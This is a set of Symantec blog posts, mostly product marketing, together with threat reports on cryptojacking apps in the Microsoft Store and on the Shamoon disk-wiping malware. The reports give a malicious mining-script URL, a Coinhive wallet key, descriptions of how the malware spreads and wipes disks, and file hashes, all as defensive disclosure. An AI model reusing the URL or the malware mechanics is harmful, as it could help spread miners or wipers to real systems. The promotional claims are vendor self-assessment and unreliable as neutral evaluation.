As organizations move workloads to the cloud, the security tools and skills that worked for on-premises protection don’t always translate neatly to a cloud world in which businesses are delivering assets via IaaS and SaaS. It’s a digital transformation that’s taking place at breakneck speed and it’s left many IT departments struggling to employ cloud security practices for their modern enterprise.
On the one hand, companies must adjust to a new era that requires new tools and new methods to enforce a consistent security posture across multiple clouds. One of the by-products of this massive data migration is the increased challenge of how it is managed and secured.
At the same time, organizations are scrambling to find enough staff due to a growing shortage of trained personnel who have the necessary cloud security skills. In fact, a majority of security decision-makers state that the lack of skilled staff counts as one of their biggest challenges.
The Cloud Security Gap
The cloud security challenge is complicated by the fact that when you use public clouds, your visibility into cloud workloads and cloud-resident data is diminished. The task is made that much harder – and additional security gaps are likely to appear – when an organization uses multiple cloud infrastructures.
Contrast that with the pre-cloud era, when there were manual processes and procedures – as well as some level of monitoring – that came with system management tools and network management tools. Those tools sent out alerts when it detected anyone trying to create something in the network environment.
Fast-forward to the present, where it's relatively easy for employees to spin up new cloud instances with little more than a login and a credit card. How do you control the use of a new cloud instance? And how do you ensure the right security protocols are followed?
IaaS and SaaS cloud infrastructures and apps bring greater scale and efficiency but also introduce new vulnerabilities and open the door to malicious activity. Since relatively few organizations have the capability to hunt threats in the cloud, they’re constantly on the defensive. The number of alerts generated by an organization’s different monitoring systems may already overwhelm even the most experienced security professionals before you add in the complications of monitoring and securing all things cloud.
How do you control the use of a new cloud instance? And how do you ensure the right security protocols are followed?
Elsewhere in the company, DevOps teams are under pressure to get new product releases out the door at ever-increasing speeds to keep their business ahead of the competition. Agile development offers great benefits. But what happens if, in the pell-mell rush of development, security winds up as an afterthought in the process? It’s not a rhetorical question.
Your existing staff is not just being tasked to look at new technologies and new ways of doing things – but to work ever faster. And let’s be frank: The processes may result in improperly configured storage containers, which can not only expose data, but also allow the propagation of malware to go undetected.
Closing the Cloud Security Gap with MSS Managed Cloud Defense
So, let’s see. Your company faces an overburdened staff struggling to manage disparate security policies and tools. All the while, you need to monitor and analyze an increasingly massive amount of traffic while facing growing vulnerabilities and malicious attacks.
The upshot? If you can’t get a full picture of your expanding on premises and multi-cloud environment trouble’s guaranteed to come knocking.
Successful cloud adoption and the ability to overcome these challenges requires a broad, deep and consolidated view into all threats. The key elements include native support for cloud applications and services with round the clock monitoring capabilities, SOC analyst expertise, unparalleled security intelligence, advanced analytics and real time detection and response.
Symantec’s Managed Security Services (MSS) mitigates the risk of the expanded attack surface across both on premises and multiple IaaS and SaaS environments. Through Symantec’s MSS Managed Cloud Defense, organizations receive a unified view into all threats through unparalleled 24x7 threat monitoring with dynamic machine learning, analytics and correlation. Powered by Symantec’s Global Intelligence network and cloud trained cyber warriors, MSS Managed Cloud Defense closes the security gap and empowers organizations to mitigate cloud-based threats.
Learn more about Managed Cloud Defense service here.
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SE Labs and AV-TEST Agree: Symantec is Best
Symantec is the only vendor to win Best Endpoint Protection awards from both SE Labs and AV-TEST.
Every year, Symantec shines in public tests, and with AV-TEST, this year is no different. They recognized Symantec Endpoint Security (SES) Complete with the Best Enterprise Protection award once again. Impressively, the esteemed SE Labs also named SES Complete the Best Enterprise Endpoint in their 2023 annual report.
“Symantec adapts to detect and protect against both the latest targeted attacks and widespread threats that affect victims indiscriminately” Simon Edwards, CEO of SE Labs
Customers should also know the protection technology in SES Complete goes beyond what these labs were able to test. Endpoint Threat Defense for Active Directory (TDAD) and Adaptive Protection provide unique protection capabilities that were not tested. Today, no tests exist that can evaluate these features. We continue to value tests that pursue high standards and accurately reflect our product's capabilities. It’s about finding real, practical improvements for our products that address our most sophisticated customers’ challenges.
Joe Chen, VP Engineering and Adam Bromwich CTO, Symantec Enterprise Division
Symantec helped revolutionize security testing in the early 2000s to evolve from static scan tests to behavioral-based tests. Beyond winning table stakes protection tests, we will continue to work with reviewers like SE Labs, MRG Effitas, AV-TEST, and MITRE Engenuity to evolve security testing so tests evaluate all our product features. Current tests use a single product environment. However, every customer environment is different, and our Adaptive technologies utilize those differences to create a custom protection environment.
Between SE Labs and AV-TEST, SES was tested against thousands of zero-day attacks and prevalent threats throughout 2022, and it beat out all of the other competitors in blocking these attacks to win these awards.
“Symantec’s product demonstrated continuously for over 12 months that it offers the highest level of protection in the industry.” Andreas Marx, CEO of AV-TEST
These tests show how Symantec stands apart from our competitors thanks to our strong, cross-platform protection stack and our innovative technologies. Our continued involvement in these types of tests show our willingness to publicly benchmark ourselves. They provide us one of many ways we benchmark our ability to deliver outstanding protection. It’s great to be recognized by the best of the industry. We will continue to strive for top recognitions as a part of our continuous and relentless focus on our customers.
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SE Labs: Symantec Endpoint Security Performance Is 100%
SES Complete’s defense-in-depth and cross control point visibility stood out
For the second consecutive year, Symantec Endpoint Security Complete (SES Complete) achieved perfect scores in SE Lab’s Enterprise Advanced Security annual test for Detection.
SE Labs tests expose leading endpoint security products to a wide array of exploits, fileless attacks and malware, comprising the widest range of threats in any currently available public test. All the attack types present in the test have been witnessed in recent real-world attacks. Further details about this test are described in the SE Labs 2023 annual report.
SES Complete's defense-in-depth and cross control point visibility stood out in the test and strengthened Symantec’s performance, which is reflected in receiving the highest score possible.
SE Labs, which specializes in testing advanced threat detection, uses real-world attacks to test threat response on every layer of attack-chain in a MITRE ATT&CK-style format. For this reason, organizations across the globe rely on SE Lab’s tests to aid in their selection of endpoint security solutions.
"An Endpoint Detection and Response product is more than just antivirus software, which is why advanced testing is crucial. Testers must emulate real attackers and follow each step of an attack to truly understand the capabilities of EDR security products," says Simon Edwards, CEO of SE Labs.
Symantec is committed to rigorous, real-world testing with SE Labs, as well as with MRG, MITRE, and AV-Test, among others. Tests like SE Labs’ Enterprise Endpoint Security (Detection) demonstrate the strength of our broad data integration and detection capabilities and the value we bring to our customers.
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SEP 14.1: Prevention Evolved - better security through tunable machine learning
Better detection can be always be achieved if one is willing to make a more mistakes (false detections).
In late 2016 – we launched Symantec Endpoint Protection 14 which set the standard for how classical layered protection can be augmented with breaking innovations like multi-dimensional machine learning. We delivered the best endpoint protection solution in the industry; one that has won multiple awards in independent 3rd party tests as well as in the analyst community. Recent outbreaks like WannaCry and Petya have caused wide spread havoc in the world – but customers running SEP 14 have been proactively protected and safe from this menace. We could not be happier for our customers as well as in the validation of our conviction that the best protection comes from a layered defense in depth approach having safeguards at every stage of the infection lifecycle – incursion, infection, infestation and exfiltration.
But enough about SEP 14!! As much as we love our creation, it is time to talk about our next release – SEP 14.1. SEP 14.1 was conceived under the premise all malware outbreaks in an enterprise network comes from unknown files that are continually being introduced into your environment. Unknown files are not always necessarily malicious – but they start out being suspicious before either trending good or trending bad. By catching these files early and taking appropriate action – one can avoid dealing with a bigger problem later.
Quick Detour on Detections v/s Falsing
Better detection can be always be achieved if one is willing to make a more mistakes (false detections). A "false" is a condition where a product can mistakenly convict a good file or fail to convict a bad file – the first condition is called a false positive and the second – a false negative. This is essentially the tradeoff that first-gen ML anti-malware competitors made – achieve higher detection by compromising accuracy. Falses are the bane of any security product and at the scale at which we operate (over 125 million endpoints worldwide) having a high false rate can cause significant cost and productivity overruns. Therefore, SEP 14 was tuned to provide a high degree of protection (over 99.9%) while having very low "falseing" (< 0.1%) out of the box. The machine learning engine at the heart of SEP14 can be tuned to detect more malware however we must be careful to control the corresponding increase in falseing. SEP 14.1 solves this problem!!
Intensive Threat Protection for more detections
SEP 14.1 achieves better prevention by having better visibility through higher detections. We have introduced a new configuration called Intensive Threat Protection (ITP) which controls the sensitivity (or intensity) of the machine&learning detection engine in the product. With 5 different settings – ranging from conservative (Level 2: SEP 14 level) to Aggressive (Level 5: which can stop anything remotely suspicious).
SEP 14.1 decouples the notion of monitoring from that of blocking. It can detect at a certain level and block at a different level. This will ensure that the admin, is not disruptively blocking new files without understanding their behavior, reputation and prevalence and yet retaining maximum visibility on newly entered files. The endpoint policy can have high monitoring and blocking levels for low change environments like a call center, and a less intensive blocking threshold for a group of developers that write and test new applications.
Furthermore, we are opening our massive GIN (global intelligence network) to give you deep insights on every new file that is discovered in your environment – including risk scores, global prevalence, local prevalence and historical stats for each detection. This allows the product to uncover up to 20% additional detections over and above what SEP 14 achieves.
Improvements across the board
But that is not all … 14.1 builds on the improvements that were done in SEP 14 around content size optimization. SEP 14 achieved up to 70% savings on content footprint over SEP 12. SEP 14.1 with its ML based platform takes this one step further. We are introducing a "low-bandwidth" policy that will put your endpoints in a state where they need less frequent content updates given that the ML engine can be tuned to run at a higher detection intensity. This mode will be useful in bandwidth constrained environments. Given the recent proliferation of memory based exploits 14.1 will also introduce several additional exploit mitigation techniques to supplement those that were introduced in the previous release.
Net-Net, with 14.1 you have a highly tunable ML detection platform that can bubble up new suspicious files in your environment before they become actual threats … served with rich context from our GIN … laid out in a modern intuitive UX … with better detection than SEP14 … at an FP rate that is still orders of magnitude lower than the competition. Ergo .. prevention evolved!!
Note: SEP 14.1 is currently in limited preview with some of our early customers and slated for general availibility soon..
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Services, SASE, and the Role of Partnerships Beyond the Pandemic
Symantec Enterprise and InteliSecure – partnering for enterprise customers
When you pack 10 years of digital transformation into 30 days, as one CFO recently told me, a few things are bound to break. That’s no surprise: Legacy security tactics won’t work when the ways in which employees access data and workloads have fundamentally changed.
We’re all painfully aware that the pandemic has either accelerated or derailed nearly everyone’s plans. Shifting priorities have spurred many companies to embrace ideas that they once strenuously avoided, from working at home to storing IP in a public cloud.
The majority of an organization’s security stack may involve devices which cost significant resources but no longer have visibility into most of the traffic. That traffic is now going direct from someone’s house to a resource in the cloud without passing through a VPN. Traffic is unsecured. Fortunately, this has spurred organizations to fundamentally rethink how they secure their traffic, their users, and their workloads. What are they really protecting? They’re protecting their information.
We’re all painfully aware that the pandemic has either accelerated or derailed nearly everyone’s plans.
In some cases, companies already had the right security systems in place. Others chose to bypass protections because they were in crisis mode. But what worked in Phase 1—let’s call that the business continuity phase—will no longer work in Phase 2, the part where we adapt to the new normal. Phase 2, happening now, is where we start to see security architectures rebuilt and where I believe SASE enters mainstream in the enterprise.
What’s driving SASE? SASE is a big overarching concept that combines 30 or so traditional networking and information security disciplines all refactored as microservices in the cloud. SASE plugs together security components that had been more like silos. But it’s not a quick fix; you can’t just deploy the entire thing now. This was a five-to-seven-year roadmap prior to COVID-19.
Yet, the beauty of the SASE model is it works just as well when your employees are back in the office. You eventually want to build a comprehensive, cloud-native security architecture, but the more immediate question is what should you do now and what can wait?
In a period of unprecedented change, customers need a partner, a trusted advisor, someone who can help them navigate through the disruption with a viable long-term strategy.
Managing Through Disruption
A healthy relationship is one that grows and evolves even when market conditions change. Symantec, a division of Broadcom (NASDAQ: AVGO), has been an important strategic partner since the beginning of our service initiatives. And, looking ahead, we’re stepping up to help both Symantec customers and partners to augment their capabilities, particularly during this period of disruption.
Some of our customers refer to us as “people in the cloud”—that’s our model. It’s a co-managed model where everything stays on the customer’s premises. We build programs and also do technical implementations. And we can scale. I have hundreds of delivery people around the world that know Broadcom technology inside and out.
According to Art Gilliland, SVP and GM of the Symantec Enterprise Division of Broadcom, “Our goal is to provide a positive experience for customers regardless of how they choose to transact with us—and we have enabled all of our partners to sell across and into all segments based on customer preference. Under the new model, customers benefit from reduced channel conflict, access to partners with enhanced technical skills, greater efficiencies around pricing and transacting, and the ability to develop stronger relationships with their partners.”
A healthy relationship is one that grows and evolves even when market conditions change. Symantec, a division of Broadcom (NASDAQ: AVGO), has been an important strategic partner since the beginning of our service initiatives.
Broadcom partners who fail to pursue recurring services opportunities are leaving money on the table. Happy customers buy more software—like CASB—if they understand how all of the puzzle pieces fit into a successful security strategy. A partnership with a skilled services provider can help end the chaos that has vexed many organizations since the shutdown began in March. We can’t predict when the crisis will end but we believe companies will remain loyal to partners who helped them navigate the path forward.
The services model is gaining steam, and the opportunity is unprecedented, partly because of competition for skills but also because of increased complexity in the enterprise. By 2022, the global cyber security workforce shortage may reach 1.8 million unfilled positions, according to the Center for Strategic & International Studies. Managed security services help provide both the flexibility and specialized capabilities that enable business customers to succeed in this highly fluid marketplace.
To learn more, contact InteliSecure.
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SES Complete: Add To Your SOC Toolkit For Greater Visibility and Efficiency with Symantec
Symantec introduces new tools to improve SOC effectiveness
Security professionals know that it’s not the quantity of alerts that lead to better cyber security, it’s the quality. For Security Operations Center (SOC) staff, the major challenge is discerning which of these alerts are signaling a real threat to their organizations. It’s a challenge made even more daunting by the sheer number of threats the typical large enterprise encounters each day. Indeed, a 2019 survey of security analysts revealed that the average enterprise SOC receives as many as 10,000 alerts per day. For security analysts, two major problems loom as obstacles to their ability to separate the signals from the overwhelming amount of white noise: visibility and efficiency.
To get ahead of the ever more sophisticated and growing threat landscape, SOC analysts need greater visibility into the threats, their enterprise endpoints, and the data that will allow them to find the really critical threats to their organizations. They also need tools that will allow them to streamline their activities and focus on identifying and meeting these threats.
Security professionals know that it’s not the quantity of alerts that lead to better cyber security, it’s the quality.
The good news for security professionals and SOC teams is that Symantec, a division of Broadcom (NASDAQ: AVGO), has got your back. Enter Symantec Endpoint Security Complete (SES Complete).
SES Complete combines all of Symantec’s endpoint security technology including SEP - the industry standard in attack prevention, and adds Endpoint Detection and Response (EDR), Mobile Threat Defense, Active Directory Response, Application Isolation, Application Control, and Threat Hunting--all in one comprehensive package to protect all endpoints and all OSs, at one very cost-effective price. Making SES Complete even more exciting is that it offers an easy upgrade that requires no new agent to install, vastly simplifying the costs and complexity of deployment. Another exciting capability is that SES Complete offers our enterprise customers a fully cloud-based EDR solution that can be managed in cloud or on-prem.
SES Complete provides SOC teams with new tools for prevention and detection. New tools that arm them with the visibility and efficiency they need to do their jobs more effectively and to stop threats before they become worse as they move across the attack kill chain. Let’s take a look at some of these features now.
Machine Learning and Threat Hunting
As the graphic above illustrates, the longer an attack goes undetected, the greater the damage and cost to recover. It is critical for SOC teams to have full visibility over threats, and early detection and prevention. On the visibility front, SES Complete’s new features make it easier to identify threats. A capability even more important now with so many enterprise employees working from home -- and therefore more opportunities for cyber criminals to exploit. These new features augment the efforts of SOC teams to discover threats they may have missed seeing before.
An exciting new feature, Threat Hunter, further enhances the visibility of SOC teams to cut through the noise to prevent and detect threats. We know that every customer has a finite number of resources and people, and especially in their SOC. There is always a chance to miss something, particularly because customers are limited to data within their own organizations. Threat Hunter augments our customers’ efforts by combining input from our threat experts’ analysis enhanced with machine learning to expose more attacks.
With Threat Hunter, attacks that are discovered by Symantec’s expert analysts are shared with customers along with additional context. This ensures that critical attacks are quickly identified, and it accelerates investigations. The result creates a global threat intelligence network that augments each customer’s analysis by greatly expanding their knowledge of new and emerging threats worldwide. For customers, it also means gaining access and visibility to relevant threats other companies in the space are experiencing, which in turn aids in the early detection and prevention of threats in their own environment.
Greater Efficiency
On the efficiency side, SES Complete addresses the problem every SOC has with being overwhelmed by the sheer number of alerts. The volume of alerts creates its own inefficiencies as SOC teams are forced to ignore potentially devastating attacks and often fall victim to the “alert fatigue” brought on by the physical inability to investigate them all. Symantec’s focus has always been on determining the quality of the alerts, not the quantity. The new features integrated into SES Complete reinforce that security approach.
Behavior Isolation
Another new feature, Behavior Isolation, further helps SOC teams be more efficient, simplifying the path from alerts to investigation. Based on MITRE ATT&CK® technique detections, Behavior Isolation includes more than 75 configurable rules that can block attacks. Behavior Isolation also allows SOC teams to link back to the alerts that triggered the malicious behavior, ensuring they never have to deal with the same threat again. This is part of a powerful “detect to prevent” process where past detections lead to a stronger prevention policy. Every investigation can actually improve your endpoint security posture over time, by adapting the Behavior Isolation policy. No other vendor has done this because they treat EDR and prevention as two completely separate sets of tools rather than one fully integrated solution.
Example:
In this alert, an attack was carried out using a base64 encoded PowerShell script.
Example: In this alert, an attack was carried out using a base64 encoded PowerShell script.
To prevent this type of attack from recurring in the future, or to prevent it from happening in the first place, the Behavior Isolation policy is configured to block this MITRE ATT&CK technique.
With new tools strengthening prevention and detection, Symantec Endpoint Security Complete is sharpening the SOC toolset by enhancing visibility into threats, delivering new efficiencies to work streams, and improving the effectiveness of customers to thwart critical threats to their organizations.
For more information, join me at our webinar on July 8 where SANS analyst Jake Williams and I discuss more about:
One of the most powerful attack surface reduction tools and why it can be so useful in streamlining the SOC workload
New detection and response techniques and tools that can help reduce alert overload and improve SOC performance
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Several Cryptojacking Apps Found on Microsoft Store
Symantec found eight apps on Microsoft's app store that mine Monero without the user's knowledge.
On January 17, we discovered several potentially unwanted applications (PUAs) on the Microsoft Store that surreptitiously use the victim’s CPU power to mine cryptocurrency. We reported these apps to Microsoft and they subsequently removed them from their store.
"Symantec has found eight #cryptojacking apps on the @MicrosoftStore that mine #Monero without the user’s knowledge https://symc.ly/2E94Oys"
CLICK TO TWEET
The apps—which included those for computer and battery optimization tutorial, internet search, web browsers, and video viewing and download—came from three developers: DigiDream, 1clean, and Findoo. In total, we discovered eight apps from these developers that shared the same risky behavior. After further investigation, we believe that all these apps were likely developed by the same person or group.
Figure 1. The eight cryptojacking apps found on the Microsoft Store
Users may get introduced to these apps through the top free apps lists on the Microsoft Store or through keyword search. The samples we found run on Windows 10, including Windows 10 S Mode.
As soon as the apps are downloaded and launched, they fetch a coin-mining JavaScript library by triggering Google Tag Manager (GTM) in their domain servers. The mining script then gets activated and begins using the majority of the computer’s CPU cycles to mine Monero for the operators. Although these apps appear to provide privacy policies, there is no mention of coin mining on their descriptions on the app store.
The apps were published between April and December 2018, with most of them published toward the end of the year. Even though the apps were on the app store for a relatively short period of time, a significant number of users may have downloaded them. Although we can’t get exact download or installation counts, we can see that there were almost 1,900 ratings posted for these apps. However, app ratings can be fraudulently inflated, so it is difficult to know how many users really downloaded these apps.
Mining script
These apps’ domains are hardcoded in their app manifest file, as shown in Figure 2.
Figure 2. "Fast-search.tk"—the domain for the Fast-search Lite app—is hardcoded in the apps' manifest file
When each app is launched, the domain is silently visited in the background and triggers GTM with the key GTM-PRFLJPX, which is shared across all eight applications.
GTM is a legitimate tool that allows developers to inject JavaScript dynamically into their applications. However, GTM can be abused to conceal malicious or risky behaviors, since the link to the JavaScript stored in GTM is https://www.googletagmanager.com/gtm.js?id={GTM ID} which doesn’t indicate the function of the code invoked.
Figure 3. The GTM script, which the apps access to activate the mining script
By monitoring the network traffic from these apps, we found that they all connect to the following remote location, which is a coin-mining JavaScript library: http://statdynamic.com/lib/crypta.js
The apps then access their own GTM and activate the mining script.
Crypta.js is an encrypted JavaScript library, as shown in Figure 4.
Figure 4. The encrypted JavaScript library Crypta.js
After we decoded it, we found that it was a version of the Coinhive library. Coinhive is a script that mines Monero. Since the Coinhive service was launched in September 2017, there have been many reports of it being used for cryptojacking without site visitors' knowledge.
We also investigated the miner activation code on GTM, and the key source code is shown in Figure 5.
Figure 5. Decrypted source code of Crypta.js
We observed that the miner crawls with the key da8c1ffb984d0c24acc5f8b966d6f218fc3ca6bda661, which serves as the wallet for Coinhive.
These apps fall under the category of Progressive Web Applications, which are installed as a Windows 10 app running independently from the browser, in a standalone (WWAHost.exe process) window.
Shared domain name servers
From the apps’ network traffic, we found the hosting server for each app. Through a Whois query, we found that all of these servers actually have the same origin. Therefore, these apps were most likely published by the same developers using different names.
Figure 6. A quick Whois lookup shows the apps’ servers have the same origin
We have informed Microsoft and Google about these apps’ behaviors. Microsoft has removed the apps from their store. The mining JavaScript has also been removed from Google Tag Manager.
Mitigation
Stay protected from online threats and risks by taking these precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Pay close attention to CPU and memory usage of your computer or device.
Install a suitable security app, such as Norton or Symantec Endpoint Protection, to protect your device and data.
Make frequent backups of important data.
Protection
Symantec and Norton products detect the apps and the JavaScript cryptocurrency miner, respectively, as the following:
PUA.Downloader
Miner.Jswebcoin
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Shamoon: Back from the dead and destructive as ever
Fresh wave of attacks against targets in Saudi Arabia.
Shamoon (W32.Disttrack), the aggressive disk-wiping malware which was used in attacks against the Saudi energy sector in 2012, has made a surprise comeback and was used in a fresh wave of attacks against targets in Saudi Arabia.
The malware used in the recent attacks (W32.Disttrack.B) is largely unchanged from the variant used four years ago. In the 2012 attacks, infected computers had their master boot records wiped and replaced with an image of a burning US flag. The latest attacks instead used a photo of the body of Alan Kurdi, the three year-old Syrian refugee who drowned in the Mediterranean last year.
Carefully planned operation
The attackers appear to have done a significant amount of preparatory work for the operation. The malware was configured with passwords that appear to have been stolen from the targeted organizations and were likely used to allow the threat to spread across a targeted organization’s network. How the attackers obtained the stolen credentials is unknown.
The malware had a default configuration that triggered the disk-wiping payload at 8:45pm local time on Thursday, November 17. The Saudi Arabian working week runs from Sunday to Thursday. It would appear that the attack was timed to occur after most staff had gone home for the weekend in the hope of reducing the chance of discovery before maximum damage could be caused.
How Shamoon works
Shamoon uses a number of components to infect computers. The first component is a dropper, which creates a service with the name ‘NtsSrv’ to remain persistent on the infected computer. It spreads across a local network by copying itself on to other computers and will drop additional components to infected computers. The dropper comes in 32-bit and 64-bit versions. If the 32-bit dropper detects a 64-bit architecture, it will drop the 64-bit version.
The second component is the wiper, which drops a third component, known as the Eldos driver. This enables access to the hard disk directly from user-mode without the need of Windows APIs. The wiper uses the Eldos driver to overwrite the hard disk with the aforementioned photos of the Syrian boy.
The final component is the reporter. This is responsible for handling communications with a command and control (C&C) server operated by the attackers. It can download additional binaries from the C&C server and change the pre-configured disk-wiping time if instructed by the C&C server. It is also configured to send a report verifying that a disk has been wiped to the C&C server.
Back with a bang
Although attacks involving destructive malware such as Shamoon are relatively rare, they can be highly disruptive for the targeted organization, potentially knocking mission-critical computers offline.
Why Shamoon has suddenly returned again after four years is unknown. However, with its highly destructive payload, it is clear that the attackers want their targets to sit up and take notice.
Protection
Symantec and Norton products protect against Shamoon with the following detections:
Antivirus
W32.Disttrack
W32.Disttrack!gen1
W32.Disttrack!gen4
W32.Disttrack!gen6
W32.Disttrack!gen7
W32.Disttrack!gen8
W32.Disttrack.B
Intrusion prevention system
System Infected: Disttrack Trojan Activity 2
System Infected: Disttrack Trojan Activity 3
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Shamoon: Destructive Threat Re-Emerges with New Sting in its Tail
Organizations in Saudi Arabia and the UAE have been hit in latest attacks that involve new wiper malware.
After a two-year absence, the destructive malware Shamoon (W32.Disttrack.B) re-emerged on December 10 in a new wave of attacks against targets in the Middle East. These latest Shamoon attacks are doubly destructive, since they involve a new wiper (Trojan.Filerase) that deletes files from infected computers before the Shamoon malware wipes the master boot record.
News of the attacks first emerged on December 10 when Italian oil services firm Saipem said that it had been hit by a cyber attack against its servers in the Middle East. Two days later, the company said that Shamoon had been used in the attack, which affected between 300 and 400 servers and up to 100 personal computers.
Symantec has found evidence of attacks against two other organizations during the same week, in Saudi Arabia and the United Arab Emirates. Both organizations are involved in the oil and gas industry.
New wiper deployed
Unlike previous Shamoon attacks, these latest attacks involve a new, second piece of wiping malware (Trojan.Filerase). This malware will delete and overwrite files on the infected computer. Shamoon itself will meanwhile erase the master boot record of the computer, rendering it unusable.
The addition of the Filerase wiper makes these attacks more destructive than use of the Shamoon malware alone. While a computer infected by Shamoon could be unusable, files on the hard disk may be forensically recoverable. However, if the files are first wiped by the Filerase malware, recovery becomes impossible.
Filerase is spread across the victim’s network from one initial computer using a list of remote computers. This list is in the form of a text file and is unique to each victim, meaning the attackers likely gathered this information during an earlier reconnaissance phase of the intrusion. This list is first copied by a component called OCLC.exe and passed on to another tool called Spreader.exe. The Spreader component will then copy Filerase to all the computers listed. It will then simultaneously trigger the Filerase malware on all infected machines.
It is possible that the Shamoon malware itself was spread via these same tools, but this is unknown. In at least one instance, Shamoon was executed using PsExec, indicating that the attackers had access to credentials for the network.
Possible link to Elfin
One of the new Shamoon victims Symantec observed the organization in Saudi Arabia had recently also been attacked by another group Symantec calls Elfin (aka APT33) and had been infected with the Stonedrill malware (Trojan.Stonedrill). There were additional attacks against this organization in 2018 that may have been related to Elfin or could have been the work of yet another group.
The proximity of the Elfin and the Shamoon attacks against this organization means it is possible that the two incidents are linked.
A history of destructive attacks
Shamoon (W32.Disttrack) first emerged in 2012 when it was used in a series of disruptive attacks against the Saudi energy sector.
Activity then ceased until it made a surprise comeback in late 2016. A slightly modified version of the malware (W32.Disttrack.B) was used in attacks against a range of targets, again in Saudi Arabia. The attacks appeared timed to cause maximum destruction. The malware was configured to trigger at 8:45pm local time on Thursday, November 17, 2016. The Saudi working week runs from Sunday to Thursday, meaning computers were wiped after most staff had left for the weekend, minimizing the chance of discovery before the attack was complete.
Recurring menace
Why Shamoon has suddenly been deployed again remains unknown. However, the fact that the malware seems to be taken out of retirement every few years means that organizations need to remain vigilant and ensure that all data is properly backed up and a robust security strategy is in place.
Protection
Symantec has the following protections in place against the Shamoon attacks:
File-based protections
W32.Disttrack
W32.Disttrack!gen1
W32.Disttrack!gen4
W32.Disttrack!gen6
W32.Disttrack!gen7
W32.Disttrack!gen8
W32.Disttrack.B
Trojan.Filerase
Network-based protections (Intrusion Prevention System)
System Infected: Disttrack Trojan Activity 2
System Infected: Disttrack Trojan Activity 3
Indicators of Compromise
d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a - Executes the Spreader.exe component
35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b - Spreader.exe, which spreads the Trojan.Filerase component across specified computers
5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a - Trojan.Filerase component
0266be9130bdf20976fc5490f9191edaafdae09ebe45e74cd97792412454bf0d - Trojan.Filerase component
bd2097055380b96c62f39e1160d260122551fa50d1eccdc70390958af56ac003 - W32.Disttrack.B
c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f - W32.Disttrack.B
0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 - W32.Disttrack.B
0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe - W32.Disttrack.B
Threat Intelligence
Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Shamoon which detail methods of detecting and thwarting activities of this adversary..
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Sheila Jordan at SaaStr 2018: Making the Product As Good As It Can Be
The SaaStr Annual 2018 is taking place February 6-8, where Symantec's CIO Sheila Jordan participated in the panel “Why CIOs Really Buy SaaS Products: Do You Believe in Your Own Product?”
“We are the Petri dish, or the sandbox, in which we can test and use everything we offer the marketplace.” Sheila Jordan, CIO, Symantec
That’s how Symantec CIO Sheila Jordan kicked off her remarks yesterday to a standing-room only auditorium at the annual SaaStr conference in San Francisco.
Jordan was joined by three peers from leading tech companies—Paul Chapman, CIO at Box; Alvina Antar, CIO at Zuora (and panel moderator); and Wendy Pfieffer, CIO of Nutanix—for a panel entitled, “Why CIOs Really Buy SaaS Products: Do You Believe in Your Own Product?”
How “Being Customer One” Can Bring It All Together
Antar opened the conversation by asking each of the panelists to talk about their views on the benefits of “investing in your own stuff.”
Jordan broke it down neatly:
Frank, immediate feedback is a good thing. Jordan stressed the priority she and her team give to providing Symantec engineers with direct feedback as soon as possible.
“That feedback is really important,” Chapman agreed. “It’s a gift, whether you like it or not,” Pfieffer added, “Sometimes they are afraid when I walk in the room, but everyone knows we’re coming from the right place, taking care of customers and shareholders.”
You can learn a lot from a live, production environment. Jordan talked about the importance of seeing the real-world implementation challenges of any given technology— particularly the ability to track and respond to the upstream and downstream effects of deploying a new solution.
Pfieffer recalled trying to implement a Nutanix hypervisor only to discover that in certain environments, it would only be useful if accompanied by a data movement tool. Armed with that feedback, engineering fast-tracked the release of a data movement tool that had previously been lower on the priority list.
Jordan actually pairs up product managers with members of her team to assist with and observe implementation. “They learn how to make the product better,” she said.
It helps sales, which helps customers. “We write white papers about all of our deployments,” noted Jordan. “Our sales teams use those to advise our customers. You have to be honest and transparent, always. Being completely upfront about what you’re seeing means a lot to customers.”
At the end of the day, said Jordan, “Engineering, sales and IT all come together through this.”
It’s Got To Be In Your DNA
The panel also discussed levels of investment, ideal executive sponsors, and how (and whether) results are reported to the board. But the panel fairly quickly came around to a common point-of-view—whether you like to call it “eating your own dog food” or “drinking your own champagne,” the commitment to fully testing and vetting your own products has to be baked into your DNA.
“Being a tech CIO can be tough,” Chapman said. “But at the end of day, we’re able to bring that critical outside-in view and community feedback to our organizations to make us better.”
“It’s crazy to call ‘implementing your own solutions,’ a program,” echoed Jordan. “We all have a responsibility to make sure the product is as good as it can be before it goes out the door. That’s our job. It’s not ‘for the board’ or this stakeholder or that stakeholder. It’s part of the DNA of Symantec.”
Leaning On Each Other
Antar spoke about how she and the panelists are connected via their common passion for the topic, their use of each other’s products, and by way of a shared history of helping their fellow CIOs solve common problems.
“The CIO community is really collegial,” said Jordan. “Of course, we don’t share trade secrets, but we share experiences. We’re the practitioners in the organization. We lean on each other.”
Chapman added, “It’s a great way for your own internal org to get connected to other IT orgs. The advantage of connecting our teams is we learn best practices. You can only do that if you’re a strong user of your own product.”
For the huge audience of SaaS founders, executives and venture capitalists in attendance, the takeaway was clear: before you ask a customer to implement your product, do it yourself. What you learn, and what you share, could be the difference between failure and success.
If you found this information useful you may also enjoy:
How Best to Communicate with Your Board of Directors on Your Company’s Security Posture, by Sheila Jordan
We are the Petri dish, or the sandbox, in which we can test and use everything we offer the marketplace.- Sheila Jordan, CIO, Symantec
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Shine a Light on the Metrics That Matter With Symantec CloudSOC
Creating customized dashboards and five reports to get you started
Symantec, by Broadcom Software, is dedicated to protecting customers’ information assets. One of our flagship platforms is Symantec CloudSOC, the leading Cloud Access Security Broker solution in the market. For the last eight years I have helped many organizations leverage CloudSOC to a) provide visibility into their cloud security landscape, b) enforce acceptable usage policies for Software as a Service (SaaS) applications and c) leverage process automation to reduce exposure in cloud security initiatives. However, what consistently surprises me is that customers are often unaware of functional areas in CloudSOC that can help their stretched teams be highly effective at reducing risk.
